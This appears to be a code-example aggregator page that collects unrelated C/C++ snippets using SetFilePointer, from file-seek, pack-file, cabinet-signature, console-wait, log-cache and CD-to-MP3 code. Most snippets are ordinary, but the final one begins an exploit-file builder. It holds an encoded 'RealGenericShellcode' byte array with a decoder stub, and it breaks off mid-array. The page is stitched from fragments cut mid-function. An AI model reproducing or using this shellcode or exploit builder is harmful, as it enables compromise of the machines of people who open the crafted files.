                    thefile->filePtr = finfo.size + *offset;
                break;

            default:
                return APR_EINVAL;
        }
        *offset = thefile->filePtr;
        return rc;
    }
    else {
        DWORD howmove;
        DWORD offlo = (DWORD)*offset;
        DWORD offhi = (DWORD)(*offset >> 32);

        switch(where) {
            case APR_SET:
                howmove = FILE_BEGIN;   break;
            case APR_CUR:
                howmove = FILE_CURRENT; break;
            case APR_END:
                howmove = FILE_END;     break;
            default:
                return APR_EINVAL;
        }
        offlo = SetFilePointer(thefile->filehand, (LONG)offlo, 
                               (LONG*)&offhi, howmove);
        if (offlo == 0xFFFFFFFF)
            rc = apr_get_os_error();
        else
            rc = APR_SUCCESS;
        /* Since we can land at 0xffffffff we will measure our APR_SUCCESS */
        if (rc == APR_SUCCESS)
            *offset = ((apr_off_t)offhi << 32) | offlo;
        return rc;
    }
}
Пример #19
0
void 
SPFS::AddFolder(LPCSTR lpszDir,LPCSTR lpszFMask)
{
	if( !IsOpen() )
		throw new SPFSException(_T("pack file isn't opened !"),SPFS_FILE_IS_NOT_OPENED);

	PACK_FSS_HEADER *fss = &_pHeader->fssHeader;
	DWORD  fileCt        = _pHeader->fileCt;               // count of packed files.
	DWORD  written       = 0L;                             // written bytes count.
	DWORD  readSz        = 0L;                             // readed bytes count.
	void*  lpSectionMem  = malloc(_pHeader->fDataSecSz);   // allocate heap memory for file data section.
	DWORD  packOffset    = 0L;                             // offset of pack file handle.
	size_t dirLength     = strlen(lpszDir);                // save directory length size.
	
	// store pointer to the file data section header.
	PACK_FS_HEADER* pFSHeader = (PACK_FS_HEADER*)lpSectionMem;
	// initialize find data structure.
	WIN32_FIND_DATA fData;
	ZeroMemory(&fData,sizeof(WIN32_FIND_DATA));
	sprintf(fData.cFileName,"%s\\%s",lpszDir,lpszFMask);

	char szFilePath[_MAX_PATH];
	sprintf(szFilePath,"%s\\",lpszDir);
	HANDLE hFind        = FindFirstFile(fData.cFileName,&fData);
	HANDLE hFile        = NULL;

	// set file pointer to the end of file data.
	if( hFind == (HANDLE)-1 || SetFilePointer(_hPackFile,0L,0L,FILE_BEGIN) == (DWORD)-1 )
		throw new SPFSException(_T("can't find first SQL file !"),SPFS_FILE_NOT_FOUND);

	while( hFind != (HANDLE)-1 )
		{
		// initialize full path of founded file.
		szFilePath[dirLength+1]     = 0x00;
		strcat(szFilePath,fData.cFileName);

		// open founded file.
		if( m_procOpenFileToAdd )
			hFile = (m_procOpenFileToAdd)(szFilePath);
		else
			hFile = CreateFile(szFilePath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);

		if( hFile != (HANDLE)-1 )
			{
			// add file into pack file.
			DWORD offset = AddFile(_hPackFile, packOffset, hFile, _pHeader, lpSectionMem, written, m_procPreWriteFileSection);
			// add file into FSS.
			if( offset )	
				AddFileToFSS(fData.cFileName,offset,_pFNArray,_fnArrAlloc,_fnArrUsed,
							 _pFOArray,_foArrAlloc,_pFNOArray,_fnoArrAlloc,fileCt);
			else
				{
				CloseHandle(hFile);
				throw new SPFSException(_T("can't add file to the pack file !"),SPFS_FILE_CANT_WRITE);
				}
			// close file handle.
			CloseHandle(hFile);
			}
		
		// find next file.
		if( !FindNextFile(hFind,&fData) ) 
			{
			// file name offsets array size & file offsets array size.
			UINT arrSize                   = fileCt*sizeof(DWORD);
			// fill pack file header. {{
			_pHeader->fssHeader.start      = 0x68637273;// _T("srch")
			// current offset + file name array size + file offsets array size + name offsets array size.
			_pHeader->packSz               = _pHeader->fssHeader.offsetFSS + _fnArrUsed + 2*arrSize;
            // set FSS section used bytes size.
			_pHeader->fssHeader.secUsedSz  = _fnArrUsed + 2*arrSize;
			// set FSS section full bytes size.
			if( _pHeader->fssHeader.sectionSz < _pHeader->fssHeader.secUsedSz )
				_pHeader->fssHeader.sectionSz = _pHeader->fssHeader.secUsedSz;
			// set file names array size.
			_pHeader->fssHeader.fnArraySz  = _fnArrUsed;
			// set file offsets array size.
			_pHeader->fssHeader.foArraySz  = arrSize;
			// set file name offsets array size.
			_pHeader->fssHeader.fnoArraySz = arrSize;
			// set offset of file names array.
			_pHeader->fssHeader.fnArray    = _pHeader->fssHeader.offsetFSS;
			// set offset of file name offsets array.
			_pHeader->fssHeader.fnoArray   = _pHeader->fssHeader.offsetFSS + _fnArrUsed;
			// set offset of file offsets array.
			_pHeader->fssHeader.foArray    = _pHeader->fssHeader.offsetFSS + _fnArrUsed + arrSize;
			// }}

			//   write pack header.
			if( !WritePackHeader(_hPackFile,_pHeader) )   
				throw new SPFSException(_T("can't write pack file header!"),SPFS_FILE_CANT_WRITE);
			//   write pack FSS.
			if( !WritePackFSS(_hPackFile,_pHeader,_pFNArray,_fnArrUsed,_pFOArray,_pFNOArray,fileCt) )
				throw new SPFSException(_T("can't write FSS(file search section) of pack file !"),SPFS_FILE_CANT_WRITE);
			FindClose(hFind);
			break;
			}
		}
}
Пример #20
0
static BOOL WINTRUST_GetSignedMsgFromCabFile(SIP_SUBJECTINFO *pSubjectInfo,
 DWORD *pdwEncodingType, DWORD dwIndex, DWORD *pcbSignedDataMsg,
 BYTE *pbSignedDataMsg)
{
    int header_resv;
    LONG base_offset, cabsize;
    USHORT flags;
    BYTE buf[64];
    DWORD cert_offset, cert_size, dwRead;

    TRACE("(%p %p %d %p %p)\n", pSubjectInfo, pdwEncodingType, dwIndex,
          pcbSignedDataMsg, pbSignedDataMsg);

    /*
     * FIXME: I just noticed that I am memorizing the initial file pointer
     * offset and restoring it before reading in the rest of the header
     * information in the cabinet.  Perhaps that's correct -- that is, perhaps
     * this API is supposed to support "streaming" cabinets which are embedded
     * in other files, or cabinets which begin at file offsets other than zero.
     * Otherwise, I should instead go to the absolute beginning of the file.
     * (Either way, the semantics of wine's FDICopy require me to leave the
     * file pointer where it is afterwards -- If Windows does not do so, we
     * ought to duplicate the native behavior in the FDIIsCabinet API, not here.
     *
     * So, the answer lies in Windows; will native cabinet.dll recognize a
     * cabinet "file" embedded in another file?  Note that cabextract.c does
     * support this, which implies that Microsoft's might.  I haven't tried it
     * yet so I don't know.  ATM, most of wine's FDI cabinet routines (except
     * this one) would not work in this way.  To fix it, we could just make the
     * various references to absolute file positions in the code relative to an
     * initial "beginning" offset.  Because the FDICopy API doesn't take a
     * file-handle like this one, we would therein need to search through the
     * file for the beginning of the cabinet (as we also do in cabextract.c).
     * Note that this limits us to a maximum of one cabinet per. file: the first.
     *
     * So, in summary: either the code below is wrong, or the rest of fdi.c is
     * wrong... I cannot imagine that both are correct ;)  One of these flaws
     * should be fixed after determining the behavior on Windows.   We ought
     * to check both FDIIsCabinet and FDICopy for the right behavior.
     *
     * -gmt
     */

    /* get basic offset & size info */
    base_offset = SetFilePointer(pSubjectInfo->hFile, 0L, NULL, SEEK_CUR);

    if (SetFilePointer(pSubjectInfo->hFile, 0, NULL, SEEK_END) == INVALID_SET_FILE_POINTER)
    {
        TRACE("seek error\n");
        return FALSE;
    }

    cabsize = SetFilePointer(pSubjectInfo->hFile, 0L, NULL, SEEK_CUR);
    if ((cabsize == -1) || (base_offset == -1) ||
     (SetFilePointer(pSubjectInfo->hFile, base_offset, NULL, SEEK_SET) == INVALID_SET_FILE_POINTER))
    {
        TRACE("seek error\n");
        return FALSE;
    }

    /* read in the CFHEADER */
    if (!ReadFile(pSubjectInfo->hFile, buf, cfhead_SIZEOF, &dwRead, NULL) ||
     dwRead != cfhead_SIZEOF)
    {
        TRACE("reading header failed\n");
        return FALSE;
    }

    /* check basic MSCF signature */
    if (EndGetI32(buf+cfhead_Signature) != 0x4643534d)
    {
        WARN("cabinet signature not present\n");
        return FALSE;
    }

    /* Ignore the number of folders and files and the set and cabinet IDs */

    /* check the header revision */
    if ((buf[cfhead_MajorVersion] > 1) ||
        (buf[cfhead_MajorVersion] == 1 && buf[cfhead_MinorVersion] > 3))
    {
        WARN("cabinet format version > 1.3\n");
        return FALSE;
    }

    /* pull the flags out */
    flags = EndGetI16(buf+cfhead_Flags);

    if (!(flags & cfheadRESERVE_PRESENT))
    {
        TRACE("no header present, not signed\n");
        return FALSE;
    }

    if (!ReadFile(pSubjectInfo->hFile, buf, cfheadext_SIZEOF, &dwRead, NULL) ||
     dwRead != cfheadext_SIZEOF)
    {
        ERR("bunk reserve-sizes?\n");
        return FALSE;
    }

    header_resv = EndGetI16(buf+cfheadext_HeaderReserved);
    if (!header_resv)
    {
        TRACE("no header_resv, not signed\n");
        return FALSE;
    }
    else if (header_resv < cfsigninfo_SIZEOF)
    {
        TRACE("header_resv too small, not signed\n");
        return FALSE;
    }

    if (header_resv > 60000)
    {
        WARN("WARNING; header reserved space > 60000\n");
    }

    if (!ReadFile(pSubjectInfo->hFile, buf, cfsigninfo_SIZEOF, &dwRead, NULL) ||
     dwRead != cfsigninfo_SIZEOF)
    {
        ERR("couldn't read reserve\n");
        return FALSE;
    }

    cert_offset = EndGetI32(buf+cfsigninfo_CertOffset);
    TRACE("cert_offset: %d\n", cert_offset);
    cert_size = EndGetI32(buf+cfsigninfo_CertSize);
    TRACE("cert_size: %d\n", cert_size);

    /* The redundant checks are to avoid wraparound */
    if (cert_offset > cabsize || cert_size > cabsize ||
     cert_offset + cert_size > cabsize)
    {
        WARN("offset beyond file, not attempting to read\n");
        return FALSE;
    }

    SetFilePointer(pSubjectInfo->hFile, base_offset, NULL, SEEK_SET);
    if (!pbSignedDataMsg)
    {
        *pcbSignedDataMsg = cert_size;
        return TRUE;
    }
    if (*pcbSignedDataMsg < cert_size)
    {
        *pcbSignedDataMsg = cert_size;
        SetLastError(ERROR_INSUFFICIENT_BUFFER);
        return FALSE;
    }
    if (SetFilePointer(pSubjectInfo->hFile, cert_offset, NULL, SEEK_SET) == INVALID_SET_FILE_POINTER)
    {
        ERR("couldn't seek to cert location\n");
        return FALSE;
    }
    if (!ReadFile(pSubjectInfo->hFile, pbSignedDataMsg, cert_size, &dwRead,
     NULL) || dwRead != cert_size)
    {
        ERR("couldn't read cert\n");
        return FALSE;
    }
    /* The encoding of the files I've seen appears to be in ASN.1
     * format, and there isn't a field indicating the type, so assume it
     * always is.
     */
    *pdwEncodingType = X509_ASN_ENCODING | PKCS_7_ASN_ENCODING;
    return TRUE;
}
Пример #21
0
void 
SPFS::Open(LPCSTR lpszPackFile)
	{
	if( IsOpen() )           
		throw new SPFSException(_T("other pack file is allready opened !"),SPFS_FILE_ALLREADY_OPENED);
	//  check for file existing.
	if( _access(lpszPackFile,0) ) 
		throw new SPFSException(_T("pack file doesn't exists !"),SPFS_FILE_NOT_FOUND);

	// variable for read count.
	DWORD  readCt    = 0L;
	DWORD  errorCode = 0L;
	string errorStr  = _T("");
/*
	// open pack file.
	HANDLE hPackFile = CreateFile(lpszPackFile,GENERIC_WRITE|GENERIC_READ,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
	if( hPackFile   == INVALID_HANDLE_VALUE )
		{
		errorCode = SPFS_FILE_CANT_OPEN;
		errorStr  = _T("can't open file !");
		goto throw_error;
		}
*/
	// open pack file.
	HANDLE hPackFile = CreateFile(lpszPackFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
	if( hPackFile   == INVALID_HANDLE_VALUE )
		{
		errorCode = SPFS_FILE_CANT_OPEN;
		errorStr  = _T("can't open file !");
		goto throw_error;
		}
	// allocate memory for pack header.
	_pHeader = (PACK_HEADER*)malloc(sizeof(PACK_HEADER));
	// check for pack file validation.
	if( !IsValidPackFile(hPackFile,_pHeader) )
		{
		errorCode = SPFS_FILE_UNKNOWN_FORMAT;
		errorStr  = _T("unknown file format !");
		goto throw_error;
		}
	// set file pointer to the FSS offset.
	if( SetFilePointer(hPackFile,_pHeader->fssHeader.offsetFSS,NULL,FILE_CURRENT) != _pHeader->fssHeader.offsetFSS )
		{
		errorCode = SPFS_CANT_SET_FILE_POINTER;
		errorStr  = _T("can't set file pointer to the beginning of FSS !");
		goto throw_error;
		}

	// allocate memory for file name array.
	_pFNArray  = malloc(_pHeader->fssHeader.fnArraySz);
	// allocate memory for file name offsets array.
	_pFNOArray = (DWORD*)malloc(_pHeader->fssHeader.fnoArraySz);
	// allocate memory for file starting offsets array.
	_pFOArray  = (DWORD*)malloc(_pHeader->fssHeader.foArraySz);

	// read file name array from pack file.
	if( !ReadFile(hPackFile,_pFNArray,_pHeader->fssHeader.fnArraySz,&readCt,NULL)  ||
	    _pHeader->fssHeader.fnArraySz != readCt ) 
		{
		errorCode = SPFS_FILE_CANT_READ;
		errorStr  = _T("can't read file name array from pack file !");
		goto throw_error;
		}
	// read file name offsets array from pack file.
	if( !ReadFile(hPackFile,_pFNOArray,_pHeader->fssHeader.fnoArraySz,&readCt,NULL) ||
	    _pHeader->fssHeader.fnoArraySz != readCt ) 
		{
		errorCode = SPFS_FILE_CANT_READ;
		errorStr  = _T("can't read file name offsets array from pack file !");
		goto throw_error;
		}
	// load file name array from pack file.
	if( !ReadFile(hPackFile,_pFOArray,_pHeader->fssHeader.foArraySz,&readCt,NULL)   ||
	    _pHeader->fssHeader.foArraySz != readCt ) 
		{
		errorCode = SPFS_FILE_CANT_READ;
		errorStr  = _T("can't read from pack file !");
		goto throw_error;
		}
	// set file pointer to the beginning of file.
	if( SetFilePointer(hPackFile,0L,NULL,FILE_BEGIN) == (DWORD)-1 )
		{
		errorCode = SPFS_CANT_SET_FILE_POINTER;
		errorStr  = _T("can't set pack file pointer to the beginning of file !");
		goto throw_error;
		}
	// ------------------------------------------
	_hPackFile    = hPackFile;
	_fnArrAlloc   = _pHeader->fssHeader.fnArraySz;
	_fnArrUsed    = _pHeader->fssHeader.fnArraySz;
	_fnoArrAlloc  = _pHeader->fssHeader.fnoArraySz;
	_foArrAlloc   = _pHeader->fssHeader.foArraySz;
	// ------------------------------------------
	return;

throw_error:
	Close();
	throw new SPFSException(errorStr,errorCode);
	}
Пример #22
0
static DWORD WINAPI select_ws_wait_thread(LPVOID lpParameter)
{
  struct select_ws_wait_data *data;
  HANDLE handle, handles[2];
  INPUT_RECORD inputrecord;
  LARGE_INTEGER size, pos;
  DWORD type, length;

  /* retrieve handles from internal structure */
  data = (struct select_ws_wait_data *) lpParameter;
  if(data) {
    handle = data->handle;
    handles[0] = data->event;
    handles[1] = handle;
    free(data);
  }
  else
    return (DWORD)-1;

  /* retrieve the type of file to wait on */
  type = GetFileType(handle);
  switch(type) {
    case FILE_TYPE_DISK:
       /* The handle represents a file on disk, this means:
        * - WaitForMultipleObjectsEx will always be signalled for it.
        * - comparison of current position in file and total size of
        *   the file can be used to check if we reached the end yet.
        *
        * Approach: Loop till either the internal event is signalled
        *           or if the end of the file has already been reached.
        */
      while(WaitForMultipleObjectsEx(1, handles, FALSE, 0, FALSE)
            == WAIT_TIMEOUT) {
        /* get total size of file */
        length = 0;
        size.QuadPart = 0;
        size.LowPart = GetFileSize(handle, &length);
        if((size.LowPart != INVALID_FILE_SIZE) ||
           (GetLastError() == NO_ERROR)) {
          size.HighPart = length;
          /* get the current position within the file */
          pos.QuadPart = 0;
          pos.LowPart = SetFilePointer(handle, 0, &pos.HighPart,
                                       FILE_CURRENT);
          if((pos.LowPart != INVALID_SET_FILE_POINTER) ||
             (GetLastError() == NO_ERROR)) {
            /* compare position with size, abort if not equal */
            if(size.QuadPart == pos.QuadPart) {
              /* sleep and continue waiting */
              SleepEx(0, FALSE);
              continue;
            }
          }
        }
        /* there is some data available, stop waiting */
        break;
      }
      break;

    case FILE_TYPE_CHAR:
       /* The handle represents a character input, this means:
        * - WaitForMultipleObjectsEx will be signalled on any kind of input,
        *   including mouse and window size events we do not care about.
        *
        * Approach: Loop till either the internal event is signalled
        *           or we get signalled for an actual key-event.
        */
      while(WaitForMultipleObjectsEx(2, handles, FALSE, INFINITE, FALSE)
            == WAIT_OBJECT_0 + 1) {
        /* check if this is an actual console handle */
        length = 0;
        if(GetConsoleMode(handle, &length)) {
          /* retrieve an event from the console buffer */
          length = 0;
          if(PeekConsoleInput(handle, &inputrecord, 1, &length)) {
            /* check if the event is not an actual key-event */
            if(length == 1 && inputrecord.EventType != KEY_EVENT) {
              /* purge the non-key-event and continue waiting */
              ReadConsoleInput(handle, &inputrecord, 1, &length);
              continue;
            }
          }
        }
        /* there is some data available, stop waiting */
        break;
      }
      break;

    case FILE_TYPE_PIPE:
       /* The handle represents an anonymous or named pipe, this means:
        * - WaitForMultipleObjectsEx will always be signalled for it.
        * - peek into the pipe and retrieve the amount of data available.
        *
        * Approach: Loop till either the internal event is signalled
        *           or there is data in the pipe available for reading.
        */
      while(WaitForMultipleObjectsEx(1, handles, FALSE, 0, FALSE)
            == WAIT_TIMEOUT) {
        /* peek into the pipe and retrieve the amount of data available */
        length = 0;
        if(PeekNamedPipe(handle, NULL, 0, NULL, &length, NULL)) {
          /* if there is no data available, sleep and continue waiting */
          if(length == 0) {
            SleepEx(0, FALSE);
            continue;
          }
        }
        else {
          /* if the pipe has been closed, sleep and continue waiting */
          if(GetLastError() == ERROR_BROKEN_PIPE) {
            SleepEx(0, FALSE);
            continue;
          }
        }
        /* there is some data available, stop waiting */
        break;
      }
      break;

    default:
      /* The handle has an unknown type, try to wait on it */
      WaitForMultipleObjectsEx(2, handles, FALSE, INFINITE, FALSE);
      break;
  }

  return 0;
}
Пример #23
0
int CLogCache::SaveCache()
{
	if (!m_bEnabled)
		return 0;

	int ret =0;
	BOOL bIsRebuild=false;

	if (this->m_HashMap.empty()) // is not sufficient, because "working copy changes" are always included
		return 0;

	if( this->m_GitDir.IsEmpty())
		return 0;

	if (this->m_pCacheIndex && m_pCacheIndex->m_Header.m_ItemCount == 0) // check for empty log list (issue #915)
		return 0;

	SLogCacheIndexFile *pIndex =  NULL;
	if(this->m_pCacheIndex)
	{
		pIndex = (SLogCacheIndexFile *)malloc(sizeof(SLogCacheIndexFile)
					+sizeof(SLogCacheIndexItem) * (m_pCacheIndex->m_Header.m_ItemCount) );
		if(pIndex ==NULL)
			return -1;

		memcpy(pIndex,this->m_pCacheIndex,
			sizeof(SLogCacheIndexFile) + sizeof(SLogCacheIndexItem) *( m_pCacheIndex->m_Header.m_ItemCount-1)
			);
	}

	this->CloseDataHandles();
	this->CloseIndexHandles();

	SLogCacheIndexHeader header;
	CString file = this->m_GitDir + INDEX_FILE_NAME;
	do
	{
		m_IndexFile = CreateFile(file,
						GENERIC_READ|GENERIC_WRITE,
						0,
						NULL,
						OPEN_ALWAYS,
						FILE_ATTRIBUTE_NORMAL,
						NULL);

		if(m_IndexFile == INVALID_HANDLE_VALUE)
		{
			ret = -1;
			break;
		}

		file = m_GitDir + DATA_FILE_NAME;

		m_DataFile = CreateFile(file,
						GENERIC_READ|GENERIC_WRITE,
						0,
						NULL,
						OPEN_ALWAYS,
						FILE_ATTRIBUTE_NORMAL,
						NULL);

		if(m_DataFile == INVALID_HANDLE_VALUE)
		{
			ret = -1;
			break;
		}


		{

			memset(&header,0,sizeof(SLogCacheIndexHeader));
			DWORD num=0;
			if((!ReadFile(m_IndexFile,&header, sizeof(SLogCacheIndexHeader),&num,0)) ||
				!CheckHeader(&header)
				)
			{
				RebuildCacheFile();
				bIsRebuild =true;
			}
		}
		if(!bIsRebuild)
		{
			SLogCacheDataFileHeader datafileheader;
			DWORD num=0;
			if((!ReadFile(m_DataFile, &datafileheader, sizeof(SLogCacheDataFileHeader), &num, 0) ||
				!CheckHeader(&datafileheader)))
			{
				RebuildCacheFile();
				bIsRebuild=true;
			}
		}

		if(bIsRebuild)
			header.m_ItemCount=0;

		SetFilePointer(m_DataFile,0,0,2);
		SetFilePointer(m_IndexFile,0,0,2);

		for (auto i = m_HashMap.begin(); i != m_HashMap.end(); ++i)
		{
			if(this->GetOffset((*i).second.m_CommitHash,pIndex) ==0 || bIsRebuild)
			{
				if((*i).second.m_IsDiffFiles && !(*i).second.m_CommitHash.IsEmpty())
				{
					LARGE_INTEGER offset;
					offset.LowPart=0;
					offset.HighPart=0;
					LARGE_INTEGER start;
					start.QuadPart = 0;
					SetFilePointerEx(this->m_DataFile,start,&offset,1);
					if (this->SaveOneItem((*i).second, (LONG)offset.QuadPart))
					{
						TRACE(_T("Save one item error"));
						SetFilePointerEx(this->m_DataFile,offset, &offset,0);
						continue;
					}

					SLogCacheIndexItem item;
					item.m_Hash = (*i).second.m_CommitHash;
					item.m_Offset=offset.QuadPart;

					DWORD num;
					WriteFile(m_IndexFile,&item,sizeof(SLogCacheIndexItem),&num,0);
					++header.m_ItemCount;
				}
			}
		}
		FlushFileBuffers(m_IndexFile);

		m_IndexFileMap = CreateFileMapping(m_IndexFile, NULL, PAGE_READWRITE,0,0,NULL);
		if(m_IndexFileMap == INVALID_HANDLE_VALUE)
		{
			ret =-1;
			break;
		}

		m_pCacheIndex = (SLogCacheIndexFile*)MapViewOfFile(m_IndexFileMap,FILE_MAP_WRITE,0,0,0);
		if(m_pCacheIndex == NULL)
		{
			ret = -1;
			break;
		}

		m_pCacheIndex->m_Header.m_ItemCount = header.m_ItemCount;
		Sort();
		FlushViewOfFile(m_pCacheIndex,0);

	}while(0);

	this->CloseDataHandles();
	this->CloseIndexHandles();

	free(pIndex);
	return ret;
}
Пример #24
0
/* ======================================================================= */
BOOL EncodeTrack(PWINDOWHANDLES H, DWORD Index, PCHAR BasePath, HANDLE CDHandle, PCDTRACK CDTrackData, PDWORD DiscCurrent, PDWORD DiscTotal, PDWORD TrackCount)
{
  Log(LOG_WRITE, "Encoding track %u/%u; Sector %u-%u/%u", Index+1, *TrackCount, CDTrackData[Index].Address, CDTrackData[Index].Address + CDTrackData[Index].Length - 1, CDTrackData[Index].Length);

  CHAR MP3FilePath[MAX_PATH];
  CHAR MP3FilePathFancy[MAX_PATH];

  HANDLE MP3FileHandle = INVALID_HANDLE_VALUE;
  static lame_global_flags *GFP = NULL;

  if(OneTrackOnly == 0)
  {
    _snprintf(MP3FilePath, MAX_PATH, "%s\\Track %u.mp3", BasePath, Index + 1);
    MakeFancyPath(MP3FilePath, MP3FilePathFancy, 35);
    SetLabel(H->WT, "Creating file %s...", MP3FilePath);
    MP3FileHandle = CreateFile(MP3FilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  }
  else
  {
    _snprintf(MP3FilePath, MAX_PATH, "%s\\Audio.mp3", BasePath, Index + 1);
    MakeFancyPath(MP3FilePath, MP3FilePathFancy, 35);
    switch(OneTrackOnly)
    {
      case 1:
        SetLabel(H->WT, "Creating solid file %s...", MP3FilePath);
        MP3FileHandle = CreateFile(MP3FilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        OneTrackOnly = 2;
        break;
      case 2:
        SetLabel(H->WT, "Re-opening file %s...", MP3FilePath);
        MP3FileHandle = CreateFile(MP3FilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if(MP3FileHandle != INVALID_HANDLE_VALUE)
          SetFilePointer(MP3FileHandle, 0, NULL, FILE_END);
        break;
    }
  }

  BOOL Success = TRUE;
  INT EncoderReturnCode = 0;

  if(MP3FileHandle != INVALID_HANDLE_VALUE)
  {
    Log(LOG_WRITE, "Created file %s", MP3FilePath);

    DWORD DiscLastCurrent = *DiscCurrent;
    DWORD SectorTotal = CDTrackData[Index].Length/SECTORS_AT_READ;
    DWORD MP3BytesWritten;

    SendMessage(H->PO, PBM_SETRANGE32, 0, SectorTotal);
    SendMessage(H->PO, PBM_SETPOS, 0, 0);
    SendMessage(H->PA, PBM_SETRANGE32, 0, *DiscTotal);

    if(GFP == NULL)
    {
      GFP = lame_init();

      lame_set_preset(GFP, MP3Quality);
      lame_set_copyright(GFP, 1);
      lame_set_original(GFP, 1);
      lame_set_error_protection(GFP, 1);
      lame_set_extension(GFP, 1);
      lame_set_quality(GFP, Quality);

      EncoderReturnCode = lame_init_params(GFP);
    }

    if(EncoderReturnCode == 0)
    {
      DWORD dwWAVBufferSize=(1152 * lame_get_num_channels(GFP));
      DWORD dwMP3BufferSize=(DWORD)(1.25*(dwWAVBufferSize/lame_get_num_channels(GFP))+7200);
      PBYTE MP3Buffer = new BYTE[dwMP3BufferSize];
      PBYTE CDBuffer = new BYTE[SECTORS_AT_READ * RAW_SECTOR_SIZE];
      INT nOutputSamples;
      DWORD CDBytesWritten;
      RAW_READ_INFO Info;
      Info.TrackMode = CDDA;
      Info.SectorCount = SECTORS_AT_READ;
      DWORD SectorCurrent;
      TCHAR NumWritten[30];
      TCHAR NumWrittenKB[30];

      for(SectorCurrent = 0; SectorCurrent < SectorTotal; ++SectorCurrent, ++*DiscCurrent)
      {
        Info.DiskOffset.QuadPart = (CDTrackData[Index].Address + SectorCurrent*SECTORS_AT_READ) * CD_SECTOR_SIZE;
        MP3BytesWritten = SetFilePointer(MP3FileHandle, 0, NULL, FILE_CURRENT);
        Comma(MP3BytesWritten, NumWritten, sizeof(NumWritten));
        Comma(MP3BytesWritten / 1024, NumWrittenKB, sizeof(NumWrittenKB));
        SetLabel(H->WT, "Encoding track %u of %u and sector %u of %u\nTo %s\nWritten %s bytes (%s KB) to file", Index + 1, *TrackCount, SectorCurrent, SectorTotal - 1, MP3FilePathFancy, NumWritten, NumWrittenKB);
        if(DeviceIoControl(CDHandle, IOCTL_CDROM_RAW_READ, &Info, sizeof(Info), CDBuffer, SECTORS_AT_READ*RAW_SECTOR_SIZE, &CDBytesWritten, NULL) != 0)
        {
          if(EncodeAudioBuffer(CDBuffer, CDBytesWritten, dwWAVBufferSize, MP3FileHandle, MP3Buffer, GFP) == FALSE)
          {
            Log(LOG_WRITE, "Encoding of audio buffer failed");
            Success = FALSE;
            break;
          }
        }
        else
        {
          DWORD ErrorCode = GetLastError();
          if(ErrorCode == ERROR_INVALID_FUNCTION)
          {
            Log(LOG_WRITE, "Track %u is not a valid CDDA track", Index + 1);
            Success = FALSE;
            break;
          }
          else if(ErrorCode != ERROR_INVALID_PARAMETER)
          {
            Log(LOG_WRITE, "Error code %u reading track %u!", ErrorCode, Index + 1);
            Success = FALSE;
            break;
          }
        }
        SendMessage(H->PO, PBM_SETPOS, SectorCurrent, 0);
        SendMessage(H->PA, PBM_SETPOS, *DiscCurrent, 0);
        Percentage = (float)((float)*DiscCurrent / (float)*DiscTotal) * 100;
      }

      if(Success == FALSE)
      {
        *DiscTotal -= SectorTotal;
        SectorTotal = 0;
      }
      else if(OneTrackOnly == 0 || Index+1 == *TrackCount)
      {
        nOutputSamples = lame_encode_flush_nogap(GFP, MP3Buffer, LAME_MAXMP3BUFFER);

        if(nOutputSamples > 0)
        {
          if(WriteFile(MP3FileHandle, MP3Buffer, nOutputSamples, &MP3BytesWritten, NULL) == FALSE)
          {
            Log(LOG_WRITE, "Failed to write %u final bytes to file", nOutputSamples);
            Success = FALSE;
          }
          else if(nOutputSamples != (int)MP3BytesWritten)
          {
            Log(LOG_WRITE, "Written %u final bytes instead of %u bytes to file", MP3BytesWritten, nOutputSamples);
            Success = FALSE;
          }
        }
        else if(nOutputSamples < 0)
        {
          Log(LOG_WRITE, "Error code %d flushing encoded audio buffer", nOutputSamples);
          Success = FALSE;
        }
      }

      *DiscCurrent = DiscLastCurrent + SectorTotal;
      SendMessage(H->PO, PBM_SETPOS, *DiscCurrent, 0);
    }
    else
    {
      Log(LOG_WRITE, "Error code %d initialising audio encoder", EncoderReturnCode);
      Success = FALSE;
    }

    MP3BytesWritten = SetFilePointer(MP3FileHandle, 0, NULL, FILE_CURRENT);
    if(CloseHandle(MP3FileHandle) == FALSE)
    {
      Log(LOG_WRITE, "Error code %u closing file handle");
      Success = FALSE;
    }
    if(OneTrackOnly == 0 && (MP3BytesWritten == 0 || Success == FALSE))
    {
      if(DeleteFile(MP3FilePath) == FALSE)
        Log(LOG_WRITE, "Error code %u deleting file");
      else
        Log(LOG_WRITE, "Deleted the file due to error");
    }
    else Log(LOG_WRITE, "Written %u bytes to file", MP3BytesWritten);
  }
  else
  {
    Log(LOG_WRITE, "Error code %u creating %s", GetLastError(), MP3FilePath);
    Success = FALSE;
  }

  if(EncoderReturnCode == 0 && (OneTrackOnly == 0 || Index+1 == *TrackCount))
  {
    lame_close(GFP);
    GFP = NULL;
  }

  return Success;
}
Пример #25
0
int main (int argc, char *argv[]) {

	HANDLE ExploitFile;
	DWORD lpNumberOfBytesWritten, lpFileSizeHigh, FileSize;

	int i,j, len, RetByte=0xE5;

	char *file, *url;

unsigned char *Shellcode, *buffer,

RealGenericShellcode[] = 
"\x68\x5E\x56\xC3\x90\x8B\xCC\xFF\xD1\x83\xC6\x0E\x90\x8B\xFE\xAC"
"\x34\x99\xAA\x84\xC0\x75\xF8"

"\x72\xeb\xf3\xa9\xc2\xfd\x12\x9a\x12\xd9\x95\x12\xd1\x95\x12\x58\x12\xc5\xbd\x91"
"\x12\xe9\xa9\x9a\xed\xbd\x9d\xa1\x87\xec\xd5\x12\xd9\x81\x12\xc1\xa5\x9a\x41\x12"
"\xc2\xe1\x9a\x41\x12\xea\x85\x9a\x69\xcf\x12\xea\xbd\x9a\x69\xcf\x12\xca\xb9\x9a"
"\x49\x12\xc2\x81\xd2\x12\xad\x03\x9a\x69\x9a\xed\xbd\x8d\x12\xaf\xa2\xed\xbd\x81"
"\xed\x93\xd2\xba\x42\xec\x73\xc1\xc1\xaa\x59\x5a\xc6\xaa\x50\xff\x12\x95\xc6\xc6"
"\x12\xa5\x16\x14\x9d\x9e\x5a\x12\x81\x12\x5a\xa2\x58\xec\x04\x5a\x72\xe5\xaa\x42"
"\xf1\xe0\xdc\xe1\xd8\xf3\x93\xf3\xd2\xca\x71\xe2\x66\x66\x66\xaa\x50\xc8\xf1\xec"
